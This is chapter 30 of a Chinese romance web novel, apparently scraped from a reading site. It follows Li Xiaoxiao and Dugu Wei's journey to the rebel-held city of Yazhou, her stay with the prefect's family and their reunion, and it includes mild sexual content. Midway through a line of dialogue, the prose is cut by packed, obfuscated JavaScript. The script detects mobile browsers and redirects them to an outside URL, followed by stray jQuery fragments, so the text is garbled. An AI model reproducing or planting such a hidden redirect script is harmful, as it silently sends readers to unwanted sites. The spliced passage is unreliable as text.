30. 朝露晞

作品:《穿为龙傲天的外挂系统

    李潇潇再醒来,就是在马车上了。


    她脑袋昏沉沉的,不知自己睡了多久,环顾四周,车厢内没有旁人,外面的景色也黑乎乎的看不清。


    她下意识去唤:“梵真……”


    她听见外头有马嘶叫了声,自己坐的马车也停了下来。


    掀开车帘去看,被外头数百双眼睛盯得跌倒在地。


    “啊、啊?”怎么回事?外头怎么站了这么多人!还个个身披甲胄严阵待发。


    独孤微翻身下马,径直走向她,其余众人立刻收回目光。


    “潇潇。”独孤微拉着她坐回马车。


    这马车与他们平日坐的那些不同,宽敞了不是一点半点,车厢内摆了桌子点了熏香,还有一张八尺长的床。


    她坐在床上,惴惴不安:“这、这怎么回事啊?”


    “我们已经出城了?”


    “嗯,”独孤微为她倒了杯茶,“你饿吗?要不要吃些什么?你从昨晚一直睡到现在,睡了一整天,我一直很担心你。期间我找医师为你看过,没诊出来什么病。”


    她接过茶杯,摇头:“我没事。”


    “就是……腰还是有点酸。”她暗忖应是昨晚太过了,累得受不了眼睛一闭就睡到了现在。她之前事后腰也会酸,但都是休息一阵就好了,没出现过到第二日晚上还酸的情况。


    ……难道是因为女上?


    看来自己还是适合躺平。


    “你躺着,我帮你揉揉。”


    李潇潇听话躺倒在床,愣愣盯着独孤微俯身为她揉腰,男人的几缕碎发垂落至她的心口,低头一嗅,还带有清香。


    她翻了个身,将脸背对他,深埋进软枕之中。


    “外面那些是什么人?”


    “我担心这一路上遇到什么意外,便从我们的盟友手中要了几个人来保护我们。”


    李潇潇:“几个人?”


    再多几个人他都可以直接做土皇帝了。


    独孤微给她按了一会儿,她肚子咕咕噜噜叫起来,他便让车队停下,吩咐厨子支灶给她做饭。


    “不是,”她支支吾吾,“我想的是,饿了吃几块饼就可以了,你怎么直接让这么多人停下来,在这荒郊野岭搭灶给我做三菜一汤啊!这不耽误赶路了么!”


    她脸皮薄,最不敢麻烦别人,特别是与自己压根不熟的人,之前吃过被领导使唤来使唤去的苦,所以现在能不使唤人就不使唤,以至于她的身边从来没有个贴身侍婢,夜里与独孤微也从不叫水,需要洗身子就自己找热水泡澡。


    “不耽误,”独孤微说,“本就不是什么着急的事,何谈耽误。”


    “走走停停,一路欣赏沿途风光,如此惬意……为什么非得快马加鞭匆匆忙忙呢?”


    她哪里知道为什么,独孤微老是对她说这种莫名其妙的话,她压根听不懂,只知道盯着他那张脸看:“随便你,怎样都成。”


    “那你陪我吃饭,别骑马了。”


    独孤微笑着:“好。”


    吃完饭,她终于有了精神,拉着他在那张大床上来了几次,心满意足地睡过去。


    独孤微打完热水回来勤勤恳恳地给她揩身子,擦到一半,她迷迷糊糊睁开眼。


    “啊……怎么回事?什么时侯了?我是又睡了一整天?”


    看到他忍俊不禁的表情,李潇潇心里通晓了大概。


    “没有就没有,你笑话我干啥!”


    独孤微眨巴眼。


    “别老瞪着你那两个眼睛!多大了还扮可怜……”她抿唇,转而说,“好了,既然没有,我就继续睡……”


    男人猛地将她拉入怀中,沾了水的手捏住她下巴。


    “你干嘛!”


    “潇潇都说我是扮可怜了,”他凑到她耳际,“惺惺作态之人最爱做的事,潇潇不知?”


    她低头,莫名心虚,说话声也有气无力起来:“我怎么会知道……”颊上水珠一坠,落在她颈窝,凉丝丝的。


    “先让我把衣服穿上……”


    那惺惺作态之人非但不听,手上动作也不停。


    李潇潇最后也没弄清楚那“最爱做的事”是什么事。


    她觉得他就是找个由头欺负她。


    她也是真的被男色迷惑了,昏了头,之后的几日,将近半个月,她都在被他欺负。


    吃了就睡,睡了又吃……真的快吃不下了。


    幸好,胡闹这么多天过后,终于到了崖州地界,两人转而开始忙着收拾东西调养生息。


    到城门口那日是个大雪天,在此之前他们已经先后得到景帝离宫出征、崖州军民起义叛变的密信,因此到了地方,便没再多问什么。


    特别是李潇潇,她已经完全接受独孤微忽然间就成了手握几万重兵的兵王了,虽说她仍不知他是从哪里搞到的这么多士兵。


    但,事实如此,城门口站了乌泱泱一众将士迎接他们,她没招了,强装镇定。


    郁秀将军从人群当中走过来,半跪行礼:“主公、潇潇姑娘。”


    李潇潇咧唇,刚想打招呼,独孤微先声道。


    “叫季夫人罢。”他佯装漫不经心,“她已与我成婚,我现在与她是三拜九叩大礼的夫妻。”


    “……”她抬头,瞟了他一眼。


    还真是,煞有介事。


    郁秀带着他们在城中逛了一圈,城里与他们上次来时变了很多,原先经飓风摧残的屋舍皆已被修缮好,还筑起了高楼,城楼之上也不再插景朝旗帜,而是经独孤微之手制成的新旗。


    李潇潇近视眼,看不清那旗长什么样,听郁秀将军说,以后那面旗会在独孤微的带领下插遍景朝各处。


    “那,到时候还叫做景朝吗?”她问。


    “应该,”独孤微答,“不再是景朝了,而是立新朝,用新的国号。”


    “至于国号……”他抬眸,暗暗盯着她。


    “听起来,还蛮遥远的。”她点头,没再提此事。


    他们在城中逛了遍,见到了王知府,他看起来比从前都有精气神些,好生梳理了胡须,不再愁眉不展。


    虽说崖州叛变了,但知府之位仍在于他,未加更改,甚至能掌握的权力还更大了些,办事不再畏手畏脚,毕竟再也不用同那些只知克扣官粮官银,从不着眼百姓的上级打交道了。


    “潇潇,你这几天,就先住在知府这里。”独孤微对她说,“军营之中大部分是男子,你住在那里不方便。过几日我将军营之中的事,安排好,就回来找你。”


    “啊?”她蹙眉,“你怎么不提前与我讲……”


    男人转眸:“怕你不答应。”


    “军营里的男人都很脏,很臭,你如果非要与我一同去的话,也可以,我无权干涉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082679|192127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你的决定,不过是提醒你一下。”


    “……行吧。”她暗忖独孤微这哪里是觉得她住在军营之中不方便,他就是怕她掉进男人窝吧!


    好吧,分居的这几天,正好戒色戒躁。


    之后的几日,她听独孤微的话,借住在知府家中。


    王知府家里不像旁的那些高门大户那般有老多规矩,她每天睡到日上三竿才起,到院子里帮王夫人择会儿菜后就去吃给自己留下的剩菜剩饭,吃完小憩一下,醒来陪放课归来的小勇哥读书识字。


    小勇哥叫王勇,是知府与夫人中年时有的孩子,这小孩很不服管教,每天不看书不做课业就想着溜出去玩。


    “哎呀,怎么又吃咸鱼啊!”小勇哥一拍桌子,“娘,我不要吃,你做的咸鱼实在太难吃了!堪比泻药,我每次吃完都蹿稀!”


    “欸,你这死孩子,”王夫人不擅长做饭,本来每天做饭就烦,看到小勇哥那个死犟的样子,更是火冒三丈,“爱吃吃,不吃滚!你看看潇潇姐姐,像不像你那么挑食?人家在宫里什么好吃的没吃过,依旧愿意沉下心来品尝这残羹冷炙,这才是能成大事的人。”


    李潇潇嚼了嚼嘴里的青菜。


    她对吃的一向没什么追求,有美食更好,菜没那么好吃她也愿意吃,有味道就行,毕竟无论如何都是做菜人的辛劳成果嘛。


    “不吃算了,给你五两银子,自己去外面吃。”


    “好耶!”小勇哥接过银钱,“潇潇姐姐呢?要不要与我出去吃?”


    李潇潇迅速起身:“去去去!”


    小勇哥也是仗义,用自己仅有的五两银给她点了一只烤鸭、一笼鲜肉小笼包、一碗蟹黄面、一碟花生糖、一杯茉莉蜜茶,她吃得眯起眼,感激涕零。


    “姐姐,听说那个大名鼎鼎的天师是你的相好,真的吗?”


    李潇潇猜测他说的应该是独孤微:“啊,是啊,怎么了?”


    小勇哥搓手,靠她近了些:“姐姐,你知道的,我不爱看书,更不乐意去走科举那条路,所以你能不能……”


    “潇潇?”


    李潇潇应声扭过头:“咦,你怎么在这里?”


    她几日未见独孤微,在酒楼遇见他,克制不住心中思念,朝他奔去。


    独孤微也稳稳接住她,将她搂在怀中,轻撩过她鬓边发丝,温情蜜意。


    “潇潇,我很想你。”他低声说。


    他的确是不该出现在此处的,但……就像他说的那样,他想她,所以暗中打探她的行踪,情难自抑地跟了过来。


    小勇哥凑过来:“姐姐?”


    李潇潇别过头:“王勇,你先回去,让你娘给我留个门,我晚点再回来。”


    小勇哥见李潇潇与独孤微这么恩爱,不好意思再提麻烦潇潇姐姐的事,怕打扰了他们,将未吃完的菜打包回去了。


    他们在酒楼另开了间厢房,打算上楼好生一叙。


    “那个王勇是?”


    “知府的儿子啊,你之前不是见过吗?”她睨他一眼,“你平时在军营里,洗澡吗?”


    “……每天都洗,”他脸颊稍稍有点红,“今天的,也洗了。”


    “噢。”她点头,闷头爬楼梯。


    半晌又冒了句:“我今天也是睡到很晚才醒……”


    两人一前一后进厢房,拉上门,就抵在门边吻起来。